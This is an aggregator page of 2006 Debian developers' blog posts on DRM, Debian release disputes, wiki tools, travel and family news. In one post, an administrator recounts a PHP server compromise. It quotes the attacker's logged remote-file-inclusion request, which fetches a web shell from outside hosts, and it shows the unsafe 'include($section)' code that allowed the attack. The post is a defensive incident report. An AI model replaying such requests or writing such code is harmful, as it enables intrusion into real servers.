Search Results: "bab"

3 October 2006

Simon Law: Day against DRM


Day against DRM
Originally uploaded by Naufragio.
Today is the day against DRM. Thousands of people around the world are spreading the word about Digital Restriction Management technologies. The interesting thing about the people building DRM systems is that they're doing evil. They may not think they're doing evil, after all they're generally good people, doing their jobs, feeding their families, and protecting their interests. It's not a big evil, but it is a subtle one. And that's why you shouldn't support them. For decades, the music industry has been making money by selling records and tapes. This was a good business, because it was difficult to produce records, and it was difficult to get tapes into the hands of consumers. They made quite a tidy sum over production and distribution of art, which is a pretty decent living. But then came the Internet. And the Internet got big. Big enough that you're reading what I'm writing, even though we come from completely different backgrounds and are probably miles apart. The interesting thing about the Internet is that copying a song and sending it to someone else costs almost nothing. Zip, zero, zilch. Now traditional media distribution houses are upset. The service they performed was valuable and the goods they sold were scarce. Nowadays, neither or those are true. People can record music in their garages, edit it on their computers, and publish it online. The digital medium has turned art from a scarce resource into an abundance. So what do companies do? They feel that they have to protect their existing business models so they try to push through legislation that would make it illegal to provide abundance. That's like arresting farmers for plant seeds they've harvested from their own wheat. But this is wrong. People are now using the Internet to make and distribute art like we've never seen before. The proliferation of new songs, new pictures, new videos is just enormous. The creative community has exploded through sharing, some of it illegal, and we can all see what a vibe this has caused. DRM is meant to put a stop to that. It's designed to have two components: one is the technology that monitors and restricts what you can do with the art that you've bought, the second is the legislation that makes it illegal to circumvent this technology. So only criminals will be able to give music to their friends. But criminals will do that anyway, laws won't prevent DVD duplication in Asia. They will, however, stop you from listening to music in ways some corporation doesn't want you to. What can you do about it? Make it known that you're against DRM. Make it known that you're against proprietary systems that stifle the creative spirit. And only purchase open systems. Not just because it's the right thing to do, but also because they won't hold you hostage.

Evan Prodromou: 11 Vend miaire CCXV

October is a busy month for us. October 14th is my birthday, and October 16th is our wedding anniversary. On our honeymoon in 2004, we took a trip to wt:Charlevoix at the mouth of the Saguenay fjord in Quebec. Then, in October 2005, Amita June had just been born, so we took a short trip to Ottawa for the weekend. At this point, I think we've established an anniversary tradition of short weekend trips to cities in Eastern Canada. This year, Maj started arranging a trip to St. John's in Newfoundland. I'm pretty fascinated by wt:Newfoundland -- it's one of the oldest settlements in North America, yet very isolated. Its culture is a unique blend of Celtic, English, and a smattering of French Canadian with an idiosyncratic accent and great music. But St. John's is just too remote for a relaxing, romantic anniversary weekend. We kept trying to find easier ways to get there, and nothing was working out. So we decided to save Newfoundland for a spring trip. My crazy-cuckoo dream is to drive from Montreal to Labrador City and then out to Goose Bay in Labrador on the mainland, take the ferry to Newfoundland, drive around a bit there, then back to Montreal on a car ferry. Good trip, eh? So, we decided to take things a little easier and go to another part of Canada. We've wanted to visit wt:Halifax for a long time, and now it looks like it's going to work out. It's only 1-1/2 hours by plane from Montreal, and it's supposed to be a very charming, fun city. I got good deals on Air Canada for the two of us, plus baby, and we're staying at the posh Lord Nelson hotel in the middle of town. Even though it's the "Splurge" hotel on the Wikitravel Sleep section, I was able to get a discount with my CAA card that makes the price just about acceptable for a special occasion weekend. Now we have to plan what to do when we get there. We've only been to Nova Scotia once, and that was just a jaunt across the border from New Brunswick for kcks. I'm going to pore over the Wikitravel and World66 articles to see what I can come up with, and hopefully do some research while we're on the road. Really, that's the best part for me. I probably shouldn't look so far ahead -- we've got Hudson (New York) still to do this weekend. Like I said, a busy month! tags:

Free Books I've been planning to go to the local Wiki Wednesday here in [wt:Montreal], so I was reviewing the Montreal Wiki Wednesday page for previous events. Although we've made it to a few of the previous ones, we definitely haven't made it to all the ones we said we would... so be it. One of the previous speakers was Hugh McGuire, a Montrealer who started an excellent project called Librivox. Librivox is a project to create free audiobooks, with chapters contributed over the Internet by readers around the world. They take books from Project Gutenberg (which is apparently a MediaWiki wiki site now... who knew?) and volunteers read them and then the whole thing gets munged into a nice little package. Everything stays in the public domain (bless their generous souls) and they even have a Librivox podcast just in case you swing that way. I'm super-hot for audio books. I love listening to them while driving, especially for long road trips. Maj is lukewarm on the idea, but she occasionally gets into them when we've got a good book going. The big downside is that they're ridiculously expensive -- $50+ for some books. The only thing that bothers me a bit about Librivox is that there arent CD Audio ISOs available. We have an MP3 CD player in our car, and I think it should work fine, but for sharing it's awful nice to have real CDs. UPDATE (from Hugh): There are mp3 ISOs available here: LibriVarc, but no aiff files. mega storage space, bandwidth and transfer problems to do that, but if anyone is interested in providing such CDs, or helping manage such a project, we'd love to know about it. tags:

BarCampMontreal And while drifting through Hugh McGuire's blog, what do I see but a link to the newly-announced BarCampMontreal -- the first BarCamp to happen here in The City Without a Nickname. I had thought that the loose plan was to do a BarCamp to coincide with RecentChangesCamp in May 2007, but this plan seems more impetuous and uninhibited -- just like a BarCamp. There are just too many people to invite here in Montreal, though... we have something like 20 Debian developers, a whole passel of bloggers and wikitistas, lots of games developers and folks like that. Lots of work before the big weekend. Did I mention that October is a busy month? tags:

Day against DRM And look at that... October 3 is the Day against DRM per Defective by Design. A new DRM info clearinghouse, cleverly named drm.info, launched today, too. I've been in the weird situation lately of fighting against over-protectiveness w/r/t DRM in the Creative Commons licenses, when in fact I think DRM is twisted and dumb. It's a bill of goods being sold to entertainment companies by shady technology groups, it's rarely effective, and its only value is to punish law-abiding citizens. It's gotta go. A passionate and profanity-laced article I wrote about DRM coders for Pigdog Journal was linked from ars technica and BoingBoing last year. Although my writing style is a bit different (cough cough) than it once was, I still feel the same about DRM: a shameful and hostile way for technologists to treat each other. tags:

Are you experienced? So, I like the TV show Lost a lot, but I had no idea about this immersive alternate reality game The Lost Experience. Seems like just the kind of intense investigation game to keep losties busy for the entire summer. (You know, while they weren't trying to figure out the truth about lonelygirl15.) I'm not really that into figuring this stuff out, but I do enjoy reading the details once people have worked them through. tags:

Martin F. Krafft: Ikiwiki and issue tracking

It's been a while, but Joey Hess replied publicly to a discussion we had on IRC, but he only looked at whether issue tracking in a wiki makes sense. Thus I wanted to add my point of view. Three months after I originally started this post. Oh well. The reason I contacted Joey Hess was because I was (and am still) on the look for better tools for my personal information management, and I identified several important aspects I'd want from such a system:
  • An issue tracker, to be used as my own todo list
  • A wiki, or some form of integrating web frontend to make it easy to browse the information and give others granular access to it.
  • A backend store that can be properly synchronised across several machines (so that I can always have an offline copy on my laptop).
  • A command-line interface for manipulation of existing and addition of new contents. I want to use the regular Unix tools for the interaction.
  • A blog engine.
  • Granular permissions, either based on a Netware-style user database with records of content-and-permission tuples per user, or a simple password protection for individual content items.
  • A mail-in interface for new issues, so that I can simply bounce mails by customers to the system and have it assign a ticket number. Given a command-line interface, though, this could be added without much effort.
In terms of integration, I am thinking mostly about WikiWords that get automatically linked to the corresponding wiki pages, if these exist, and across all components; so if I write a blog entry or add a new issue to the tracker, I can easily refer to content on my own wiki (or the issue tracker, or blog) without much typing. I imagine further synergies are possible but have not put much time into thinking about those. The main reason I contacted Joey about this, because his ikiwiki has a backend store capable of synchronisation: it's a wiki engine (which can also be used for blogging), but it's based on the subversion version control system. Together with svk or bzrsvn, it definitely meets the synchronisation requirements about as good as it gets. But ikiwiki falls short in three main points for me:
  • it does not integrate an issue tracker, so I'd have to use another product and hack up the integration.
  • it is based on Subversion, but it does not include a browser for the version control system. Joey may argue -- and I would have to agree with him on principle -- that such a component has no place in Ikiwiki and there are already plenty of other tools that do a better job at repository browsing than he'd ever be willing to implement. But still, I'd like to have integration with the version control system and be able to easily refer to files and changesets, again without jumping through hoops.
  • it is written in Perl and I am not much of a Perl hacker, so it's not going to be easy for me to contribute to and extend the code base.
Also, ikiwiki does not have a permissions subsystem, though I'm sure it would be possible to add that fairly easily. Many who have read this far will probably think Trac, which I've also inspected. Trac is written in Python (which I grok), and it integrates a wiki engine with an issue tracker and a (single) repository browser much in the way I want it. However, it comes without granular permissions, and wiki content and issues are stored in an SQL backend, rather than the version control repository to which a Trac instance can be bound. This also leaves it without a command-line interface or synchronisation abilities -- unless I want to manipulate SQL records and set up replication between SQL backends. If you care, I am not the only one who wants to see Trac use the VCS backend for wiki content and issue storage. So I am still on the look. If you have any comments, please mail me. NP: Sybarite / Placement Issues Update: Joey tells me that ikiwiki now also supports git, Mercurial, and tla backends, and that Monotone is in preparation. I wonder how long it'll take until bzr is added.

Erich Schubert: On Joeys hate mission

Martin 'Joey' Schulze is still aggressively writing against Dunc tank. I don't agree with his posting at all. I don't think dunc-tank is doing any serious damage to the project; so far all the damage comes from a few people (especially you, Joey), that play some "politics" game here I don't really get or like. And just count the number of people who have expressed discomfort with your postings. I remember having seen the word "blackmail" attributed to some of your mails. [Update: and it also sucks that people have to point out that they didn't reduce their Debian involvement because of Dunc tank, but just because they don't use the software anymore, have too little time or are annoyed by your behaviour; otherwise you'd probably cite them as dunc-tank enemies.] I'm also convinced that your assessment - that only the release in december counts - is false. You know, the people working on Debian were NOT replaced by the announcement of the dunc tank experiment. We still want to make Debian the "Universal OS", and are still dedicated to the projects goals. But some of us still remember the bad press debian has been receiving because of the delays with sarge release, and the users we have lost back then because of pushing back the release again and again. You know, many people still act like "yeah, debian releases in december, sure, when hell freezes over". One of Debians strengths was security support. But security support doesn't work as well, when half of the software you're running are unsupported backports. If Debian wants to remain a good base choice (i.e. universal OS), it needs to provide a reliable combination of secure but not too-out-of-date software to become useless again. Therefore I consider frequent-enough, somewhat-on-time releases important for the universal OS idea; this will also cut down on our work (at least for those doing backports, too, since we need to do less of them). It's not a primary goal, but a consequence of the well-established goals. Now why I accept the experiment of 'hiring' the release managers for one month full-time: I've always had the impression that donating to Debian is somewhat pointless, because I don't see any concrete results, or where the money is going. To me it always felt like it ends up in an unused saving account with the SPI treasurer, until someone finds a way to spend it. Here the money is used in a transparent way, on well-respected people and with a very concrete result. And remember, it's an experiment. It's a one time thing so far. Oh, and to actually counter all your blah-blah: I've actually recently increased my Debian efforts again. Because of the dunc-tank thing, and despite your end-of-the-world-claims. Namely because it gave me back the feeling that someone actually cares about making Debian useful to everbody (and not just us freaks running unstable and experimental). That there is some interest in getting the new release out of the door on time, of supporting our users out there such as the city of munich (which is also running backports AFAIK). To me Debian is still mostly about the users, not about the ego of developers. Be a nice guy and do a good job, and you'll get lots of thank yous, a couple of friends, a couple of patches, some free beer or tshirts in return. Does this corrupt as well, getting a free coke? Yes, I got a free Jolt coke four years ago at Systems. Does this make you demotivated, that you didn't get one, too?

MJ Ray: First of the gang to the vote

Strange comments from Release Manager Andreas Barth predicting that this resolution would mean:
'The debian-installer has to be changed prior to release of Etch. This change alone would delay by at least 6 months, according to Joey's estimations.'
The resolution does not specify how it should be implemented technically. I'm pretty sure other options (such as dropping some hardware support from the official release) have been mentioned and there are probably suggestions that I'm unaware of. If the release managers choose to delay the release until debian-installer is changed, then that is their choice.
'Even fonts and videos would fall into the category where we would need source - but what is the source of a font? or a video stream? (and yes, fonts are "works that are executed by other means", i.e. displayed on the screen) That is a great new place for lots of new discussions that don't really help our users, but will definitly waste lots of time.'
The source of a font is what you used to make that font. Similarly for other work. It's pretty obvious in most cases. As far as I understand the concept of streaming video, we don't have it in the release, so that one seems a strange argument to me.
'We would be in a very bad situation e.g. with the debian-keyring (and all other sort of crypthographic stuff) - I definitly don't plan to distribute the sources for my public key (as the sources can also be used to generate the private key).'
I think this is the only interesting point: but is the debian-keyring made up of programs, rather than data that is input to a program? Do the private keys contain instructions which are executed by GnuPG? If not, note that source provision is only "strongly recommended" not required and there is a pretty strong reason for it not to be included in this small case.
'In summary, this proposal would delay the release of Etch by at least 6 months, probably even one year. Of course, any of the pending GRs can still overrule the result of this GR, but - that is not something we should be proud about, or even plan.'
In summary, I think we should remember that predictions can be wrong as well as right, even from a release manager, whether or not they are being paid for their time by an external organisation. Of course, the release manager could try to make those predictions true, but that would be pretty cynical. Vote to reaffirm DFSG 2! Update: shortly after publication of the above, someone at TU Wien wrote "yay for debian-legal fuckheads". Good argument(!) I can see why you are at university(!) Also, Andreas Barth's last blog post keeps changing the date, so it sits in the top place on planet for ages. I didn't think it was so weak as to need that sort of help. This update suggests it might be a software bug, though. Update 2: Hoho, guess I found part of the problem!

Evan Prodromou: 10 Vend miaire CCXV

Two of our good friends here in Montreal are Kate and Morgan. She's a Ph.D. student in philosophy at Rutgers, working on her dissertation here, and he's a game designer. They're from Australia originally, and they just got married Down Under about 4 weeks ago. Her dad and stepmom live in North America, though, so they're thoughtfully holding a wedding party next weekend for Kate and Morgan's American friends and family at their home in wt:Hudson (New York). We've driven through the area a few times in the past, but we haven't really stopped for long. From what Kate says, Hudson's a pretty town and early October means lots of leaf-peeping opportunities. Not that Montreal's any slouch in that respect right now, but it will be nice to see other people's leaves, I guess. There's also a Firefighter Museum and a Shaker Museum. I also just finished The Island at the Center of the World, a historical book about the 17th-century Dutch colony of New Netherlands (now New York). The main settlements were in the Hudson Valley between Manhattan and Albany (New York), so I'd like to find a nice one to stop at and look around. The drive down is about 4-1/2 hours, and I think we'll be OK doing it in one hop, even with the baby strapped down in the back seat. We're heading out on Friday evening, spending Saturday checking out the sights, then parties on Sunday and Monday (a holiday, Columbus Day, in the US). Monday night Maj got us tickets to see Massive Attack here in Montreal, so we'll be zooming back up highway 87 Monday afternoon and if we can avoid problems at the border in wt:Plattsburgh we'll be rockin' out (a bit) that evening. tags:

Parallel distrihoozit The discussions on the cc-licenses list over the last week have gotten increasingly heated. At heart is the very emotional issue of DRM (AKA TPM) technology, and to what extent its use is compatible with Open Source and Open Content. It's been a real shame -- several pages-long posts that really try to hammer a point into the head of someone who's just not listening since they're busy writing their own 10-page-long email. It's become impossible to read and some wiser heads have asked for a cooling-off period. Thankfully so. There is very little time left to continue this discussion. I really sincerely hope that people who are interested in seeing Commons licenses that are compatible with Debian and other Free Software pop in and say something to that effect. Cool heads who can state things in simple English are particularly welcome. The list allows posting to subscribers only -- kind of a damper on one-time posts -- but subscription only takes a second, and you can disable your subscription immediately after you're done. tags:

Busy Wednesday Ahead 2007 is going to be the year of wiki in Montreal. We're having two of the main wiki conferences -- RecentChangesCamp and Wikisym -- here in Montreal next year. And I guess it's time for the local wiki, open source, open content and "open other" community to start getting ready. At least in the wiki world we're taking the first steps. Wednesday 4 October (uhh... I mean, Duodi 12 Vend miaire) we're having Montreal Wiki Wednesday at 8655 rue St-Denis (metro Cremazie). Alain Desilets and Sunir Shah, who are both working on Wikisym, will be coming, as well as Anne Goldberg (principal organizer of RCC) and the inimitable Seb Paquet, who runs everything in this town. 15h-18h, fun times ahead. tags:

CC Salon Montreal But wait there's more! On top of WW, we're going to have a big Creative Commons Salon Montreal on Wednesday night, too. This will be the second time we've had a get-together in Montreal for CC so far, and I think it's going to be a good one. Maj and I are going to give an informal talk about Wikitravel and its CC license which has worked so well for us. I'm really gung-ho on the CC Salon idea. It's a great way to engage the interesting, fun part of CC -- and it's all about the fun, right? CC Salon Montreal is happening 4 Oct at 18:30h at L'am re boire, 2049 rue St. Denis (a mere 66-block walk from Wiki Wednesday!). Should be a good time. (On top of all this, I'll probably stop at YULblog on the way home, just to make the Web maven's trifecta for the night. tags:

2 October 2006

Erich Schubert: Folding tagclouds (cont'd)

I've been working a little bit more on the folding tagcloud for Debian packages. I've added closing of folds, and the code for displaying selected tags as well as matching packages is in place, too (you'll need to use a different .json data to actually see results though). To make it truly interactive, i.e. allow the selection of multiple tags until you get some results, I need to add more data files. So I'll have to decide now if I'm going to use a CGI (the "traditional" method), which will likely need to have some caching, or if I'll just precalculate everything into static .json files. I could even store them as .gz on the webserver; any browser with ajax capabilities should be able to do gzip decompression on the fly. This would offer maximum performance and security, but it means I'll need more magic in the javascript (and Javascript is ugly). Or I'll do a combination of both, use a tiny CGI serving the precalculated data; the CGI could then easily be replaced with a dynamic-caching CGI later. SVG rendering for the tag cloud would probably be also very cool. With some smart layouting algorithms, it could become much more cloud-like. And there could probably be a nice animation when "subclouds" are unfolded, pusing away the other folds. However, that would be much slower. Any animation means a slowdown, since it adds extra delays.

Lars Wirzenius: Random thought: It's not junk if someone else wants it

I wonder if anyone is organizing swap meets for computer stuff in the Helsinki area, and if not, whether anyone would like to organize one. Perhaps in Otaniemi, which probably has the highest concentration of computer geeks in the country, and therefore the highest concentration of lots of junk piled in corners, waiting for the day it becomes useful. Couldn't find anything in a few minutes most-popular-search-engining. I'm looking at my own corners, and there's a few things I might want to get rid of...

Andreas Barth: "DFSG #2 applies to all programmatic works" and the release of Etch

If the proposal we are currently voting on (http://www.debian.org/vote/2006/vote_004) would be accepted, this would mean: In summary, this proposal would delay the release of Etch by at least 6 months, probably even one year. Of course, any of the pending GRs can still overrule the result of this GR, but - that is not something we should be proud about, or even plan. On a personal basis, if this GR becomes effective would also mean that I failed to manage the release of Etch.

Erich Schubert: Release asynchronity

When release draws near, more and more difficult decisions arise. Like: should I still upgrade the package to a newer upstream version? Enigma is a great puzzle game, very similar to Oxyd. Back when still using my trusty old Atari ST, I was a fan of oxyd. Debian unstable currenlty has Enigma 0.92, the latest released version. Experimental contains recent SVN snapshots of the game. Version 0.92 was released in 2005, and there have been huge improvements to Enigma in the mean time, including a new level form (XML-based, while the levels used to be lua scripts), a reorganization of the levels into level packs with increasing difficulty, tons of new levels and graphics for 1024x768. While the new versions are running quite stable, and a new release is expected for end of the year, it will probably be not on time for etch. So should I upload a SVN checkout to unstable (and eventuall etch) - I didn't receive bug reports for the experimental version so far, and enigma has shown before to be of high code quality - or stay with the latest released version? "Life" would be easier if enigma released a new version just in time for etch. ;-) Just kidding. I'd certainly prefer the new version; and while there are some known issues with it (a conflict between C++ exception handling and lua when nesting), these might as well apply to the current version. (For example, the screensaver tends to turn on while playing enigma, but upstream said this is actually a SDL issue, and it should apply to both versions) Maybe some people can test the enigma package from experimental and send me feedback reports. But don't blame me if you lose valueable hours of sleeping time by playing enigma. It can be quite addictive.

Gunnar Wolf: Race condition found!

Less than one year ago, I had had enough. At over 135 Kg, not having done any kind of excercise or diet for too many years, I was on a very sorry shape - and although thankfully I have never had any important illness, I don't want to bet my life on luck alone. So, by November (to be exact, on the same week Nadezhda and I had our wedding), I joined my University's obesity, overweight and sedentarism program - Of course, ready to admit defeat.
Over the last year, however, my life has changed completely - Many of you have congratulated me in person or electronically. Thank you very much. It has surely been a tough job - And I intend to follow on it!
As of my last measurement, I was weighing 100.2 Kg, finally under the obesity treshold for -probably- the first time since high school. I am having my excercise hour every morning - and, unbelievably, I enjoy it. And yes, many among you have witnessed me and Nadezhda jogging, talking about our training, or whatnot.
I remember probably in May or June 2005, chatting with Jordi, I was trying to talk him into travelling for Debconf5 to Finland. He was unsure, as he wanted to train for a triathlon - And, half-joking but half-serious, I questioned whether he would rank sports even close to Debian work. Surprise, surprise: He did. Of course, he later decided to go to Debconf, but anyway :)
...Ok, this post is all in the past. What now about me? Why am I writing what you all already know? Simple: I found myself in a race condition. Yesterday, September 30, Nadezhda and I took part of the annual UNAM nocturnal race. How was it? Delicious. 8Km, starting next to UNAM's 1968 Olympics Stadium, going up towards the San Jer nimo exit, then back down across Insurgentes, past the swimming pool, the Architecture faculty and IIMAS, then up by Engineering, Accounting and Social Work. Under Insurgentes again, up past the Biomedical, Ecology and Biology institutes, next to the Botanical garden, then by the sports fields where we work out every day, and down to the stadium - To finish with a very emotive, really inspiring, really great last run inside the 1968 Olympics Stadium. I made a 53 minutes time, averaging 156 heartbeats per minute (quite high but not completely off for me). Of course, we got our souvenir T-shirts, and... Man, sign me up for the next one! :D

1 October 2006

Joachim Breitner: Hosting PHP proven harmful

I happen to have my own root server, and since there are always resources left, I did not mind hosting some other people's pages as well. I especially offer all the final classes of my school to host their website, to keep up a consistent domain naming scheme, starting with my own class page, http://04.abi-sgh.de/. This was a nice services to the following classes, as the amout of pictures such a class generates usually exeeds regular hosting constraints. Custom programmed websites, like mine and some more, are nice too.Now, today, my web server was not running. I tried to restart it, but port 443 was used, and I thought: "WTF"? netstat showed my a process with the strange name of "mysqld_" sitting on that port. ls -l /proc/.../cmd showed a binary named "httpd" in a path "/var/www/...(very deep)/.../.ssh/". Now it dawned me: Someone hacked my server.A quick "ls -l" in that directory indicated that it was done as the www-data server, and probably no root was gained. There were also two DVD rips laying around, so my server seemd to have been turned in to a movie sharing platform. The "httpd" binary, as "strings" confirmed, is a IRC-fileshareing server called iroffer, and a tool to hide processes was in that directory too.Luckily, the attackers did not hide their traces too well. The date of the "..." directory gave me the exact time of the attack, and around that time, entries like this one appeared in the access.log:
62.123.94.34 - - [30/Sep/2006:16:26:22 +0200] "POST /index.php?section=http://bote.balikesir.edu.tr/~bote0301/
cmd.gif?http://prctl.iespana.es/cmd.gif?&action=cmd&chdir=/var/www/05.abi-sgh.de/ HTTP/1.1" 200 34224
"http://05.abi-sgh.de/index.php?section=http://bote.balikesir.edu.tr/~bote0301/cmd.gif?http://prctl.iespana.es/cmd.gif?&
action=cmd&chdir=/var/www/05.abi-sgh.de/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 1
Until today I thought attacks via PHP only affect the well-known pieces of software like the usual web forum, where the code is public and finding holes pays off, and I was expecting that one of the websites on my server ran such a buggy version of something. It truned out that the index.php affected here is actually a self-programmed piece of code by someone from that class. But I guess the mistake they did is as common as it is stupid, and I also guess that PHP's reputation for being insecure is justified, if this is actually possible.The relevant piece of code is, after the usual HTML header: <? include($section); ?>. That's it. $section is defined no where, and PHP has a mode where CGI parameters are used one-to-one as global variables. So $section is actually the user's option to the "section=" part of the header. And PHP also seems to open URLs and local files just the same. So the attacker just had to put a PHP code file (the cmd.gif file is actually a php file) somewhere and pass it as the "section". Now, I'm sure with the right server settings and differnet code, PHP can be as secure (or insecure) as perl or python. But Features like that should not be in a web programming language in the first place!The cmd.gif seems to be some kind of shell for the web, allowing the user to run commands, download stuff etc, and that's how they operated on my machine. I am not sure why the binary they installed got access to port 80 and 443, but I assume that the php they run can somehow exec() the binary, thus taking over the ports, and when the webserver was restarted in the night because of log rotation, it could not come up again. Another puzzling fact is the directory they stored their stuff in. It is not related to the site they hacked, and happend to be one of the least-used parts of /var/www. Maybe they looked for directories with a very long ago atime or something.I guess I have to have a closer look at what happens on my server. Any maybe I will ban self-written php.Update: A lot of comments came in with suggestions on how to improve security with foreign PHP content. Thanks to all of you! I also hope that other admins might stumble over this page and read these comments before something happens.

Daniel Burrows: When good spamfilters go bad.

From: secretary@debian.org
To: Daniel Burrows
Subject: Acknowledgement for your vote

Spam detection software, running on the system "jester", has
identified this incoming email as possible spam. The original message
has been attached to this so you can view it (if it isn't spam) or label
similar future email. If you have any questions, see
the administrator of that system for details.

Content analysis details: (5.8 points, 5.0 required)

pts rule name description
---- ---------------------- --------------------------------------------------
1.0 NO_REAL_NAME From: does not include a real name
1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO
1.0 BAYES_60 BODY: Bayesian spam probability is 60 to 80%
[score: 0.7536]
2.3 EMPTY_MESSAGE Message appears to be empty with no Subject: text

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam. If you wish to view
it, it may be safer to save it to a file and open it with an editor.


(but what if the editor is Emacs and it has a Lisp virus?? ;-) )

30 September 2006

Edd Dumbill: Rails deployment tip for Debian systems and Apache

I deploy my Rails applications with Capistrano to an Ubuntu machine, which uses the excellent Debian style layout of Apache 2 configuration files. To keep things tidy, I like to place the Apache configuration file inside the config directory of the Rails project, along with the rest of the configuration for the Rails application and Mongrel. With the help of a couple of Capistrano rules I can then ensure that, on deployment, the latest Apache configuration file is also sent to the server:
# after setup, do a one-time link in
task :after_setup do
  sudo "ln -nfs # current_path /config/# application         
     /etc/apache2/sites-available/"
end
# cause apache2 to re-read. you probably have this rule anyway
task :restart do
  # if you're running mongrel_cluster, uncomment the following line
  # restart_mongrel_cluster
  sudo "/usr/sbin/apache2ctl graceful"
end
The first time round you'll probably want to do a2ensite yourapp manually, but this could easily be added into the after_setup rule. Not rocket science, but a pleasing bit of configuration that keeps things tidy.

Florian Ragwitz: Perldition, a small Blog and CMS, written in Perl

Until a few days ago my website was driven by PodCMS, which allowed me to manage all of the content as directories and files containing Pod (Plain Old Documentation). Unfortunately that wasn't quite flexible enough and didn't allow some features, like comments, tags and trackbacks, to be implemented easily. Also Pod sucks for some sort of content, as there's no satisfying Pod2Html module on CPAN as it seems. Therefor I decided to create something new. The new system has all features the old one had, but now allows to create content in lots of formats such as: Other markup formats are possible as well, as the API for the formatting plugins is quite easy and usually just a thin wrapper around a CPAN module which does the actual translation to HTML. Beside allowing new formats to write the content in, it also adds the following features: In conclusion I'm pretty happy with the new software. I'm just very disappointed by quality of the generated HTML that the various Pod2HTML modules on CPAN produce, so I'll probably end up in writing something myself, based on Pod::Parser. PS: The URL to rss feed changed. Please use http://perldition.org/blog.rss.

29 September 2006

Edd Dumbill: Locking down portmap on Debian

Most sensible people are very wary of NFS and its potential for security holes. If you can at all help it, it's a good idea not to run NFS and portmap on a network interface with direct internet connectivity. However, this isn't always convenient. As I needed to have NFS sharing on a host exposed to the internet, I set about finding the various places I needed to firewall. The tools I typically use to verify I've done the right things are netstat -nap on the machine concerned, to check for listening processes, and nmap from remote hosts to sniff for open ports. Portmap and its associated programs mostly use 'tcpwrappers' for controlling access. The first step you ought to take in securing portmap is to ensure that your hosts.allow and hosts.deny files are set up to control access properly. In /etc/hosts.deny, deny access to allcomers:
mountd: ALL
statd: ALL
portmap: ALL
rquotad: ALL
Then in /etc/hosts.allow, let the good guys through (adjust for your network):
mountd: 192.168.0.
statd: 192.168.0.
portmap: 192.168.0.
rquotad: 192.168.0.
On top of this, however, you should firewall off the ports that these programs use. As I found out, this is not as easy as it sounds. Portmap assigns random ports for some of the services it starts. You can run rpcinfo -p to see the ports in use. An example run on one of my machines looks like this:
program vers proto   port
 100000    2   tcp    111  portmapper
 100000    2   udp    111  portmapper
 100003    2   udp   2049  nfs
 100003    3   udp   2049  nfs
 100003    4   udp   2049  nfs
 100003    2   tcp   2049  nfs
 100003    3   tcp   2049  nfs
 100003    4   tcp   2049  nfs
 100021    1   udp  32770  nlockmgr
 100021    3   udp  32770  nlockmgr
 100021    4   udp  32770  nlockmgr
 100021    1   tcp  32788  nlockmgr
 100021    3   tcp  32788  nlockmgr
 100021    4   tcp  32788  nlockmgr
 100005    1   udp   1005  mountd
 100005    1   tcp   1008  mountd
 100005    2   udp   1005  mountd
 100005    2   tcp   1008  mountd
 100005    3   udp   1005  mountd
 100005    3   tcp   1008  mountd
 100024    1   udp    863  status
 100024    1   tcp    866  status
Of these, nfs and portmapper always use the same ports, 2049 and 111, so ensure you block off these. What about the rest? Happily, there's a way to configure them to use constant ports so we can reliably firewall them. Life would be too easy if all this configuration was in the one place, so here's how to find the different places you need to change. Finally, if you're running quotas, be sure to do something similar with RPCRQUOTADOPTS in /etc/default/quota. See also: Finally, I ought to note that I've written this up in case it helps anybody else. As with everything I write here, I make no warranty about its accuracy. Security is hard and obscure (but that's no reason not make our best efforts!)

John Goerzen: The News

Big news over here: earlier this week, our first baby was born: Jacob Simon Goerzen! He weighed in at 8 lbs, 12 oz and is doing well.

Terah was in labor most of the day, but eventually the doctor determined he was too big, so was delivered by C-section. Terah is still sore from all that, but otherwise is doing well, too. And of course we're both trying to catch up on sleep. (Not that we really expect to be able to...)

It's already been so wonderful to have him here. He already has a personality in some ways, and just is wonderful to be around. We've had a number of visitors, but the one that was extra special was when my 91-year-old grandmother stopped by and held him for awhile. Terah managed to get a photo of Jacob, me, my mom, and grandma -- 4 generations.

We've got a lot to tell, and I'm sure you'll be seeing more from both Terah and me in the next couple of days. But to start you off, I've got the first 5 pictures online already.

Here's one of the earliest pictures of him. This one was in the operating room, just a couple of minutes after he was born. The nurses had done their inital check, and gave him to me. I took him over by Terah so she could look (the doctors were still finishing up the operation). One of the people in the OR took the camera and got this picture:



Make sure to click here for the rest of the pictures in this set.

Debian folks -- do you see anything striking about Terah's gown in the photo of her holding Jacob? Something oddly familiar, perhaps? Something that my brother recognized instantly -- and burst out laughing -- when we asked him if he "noticed anything special" about the gown? More on that later...

Sorry, Cliff, for not posting sooner. Hopefully no more bait will be necessary...

28 September 2006

Biella Coleman: The Silence of Failure in Silicon Valley

After about 6 months of initial research in the Bay Area, I had to make a choice over the future direction of my more directed fieldwork. Would my project be on Silicon Valley, its religious fervor for the exuberant technology start-up, with the geek entrepreneur (probably with some affiliation with Standford) at its center stage, or would it be more broadly about free software and the culture of geekdom? I chose the later, for various reasons, but I think I wanted to write a dissertation that did not bleed with cynicism but instead flowed and flowered with a lot more joy than could have been possible if I had stayed within the grasp of the start-up and the venture capitalist. That said, I learned a lot about SV, took a lot of notes, and read most anything I could get my hands on whether the work of San Jose Anthropologist,Jan English-Lueck or published in magazines like Mother Jones, Harpers, and even the National Geographic. One of the luminaries that writes about SV from a cultural perspective is Paulina Borsook. And she is fine writer who admittedly has ticked me of on occasion (to be precise because she collapsed too much of geek culture into that of the specific SV world in Cyberselfish, which at the time I found almost personally offensive, probably more than it should have). Today I just came across a short, older but very illuminating piece of hers The Disappeared of Silicon Valley (or why I couldn’t write that piece) which is as much about the limits of historical representation in general as it specifically about the failings of start-ups in SV at the end of the recent boom and bust cycle. So her goal was simple enough: To find people involved in starting new high-tech whose companies had died.. and to find them to get a more visceral and cultural window into this experience. But it was a near to impossible task. Despite her impeccable record with confidentiality and a far flung social network, she could not get anyone talk about these ostensible failures. There has been a good amount of writing on the limits of historical representation because the archive or what comes to be the archive is a function of power and it is usually the powerless who are left out, as the work of Michel-Rolph Trouillot has so eloquently shown. But while it is true that some CEO of a dethroned corporation may be powerless in some sense of the word, it is not what we associate with the word. But in fact, the power of stigma of failure in a region that magnifies an already well-develiped cultural fetish of success (especially, I imagine, among male graduates, of places like Stanford Buisiness School), is enormous, so much so, that it seems one can only write about the experience, as Barsook has done so well, through the reality of a lack, through silence.

Enrico Zini: debtags-interesting-times

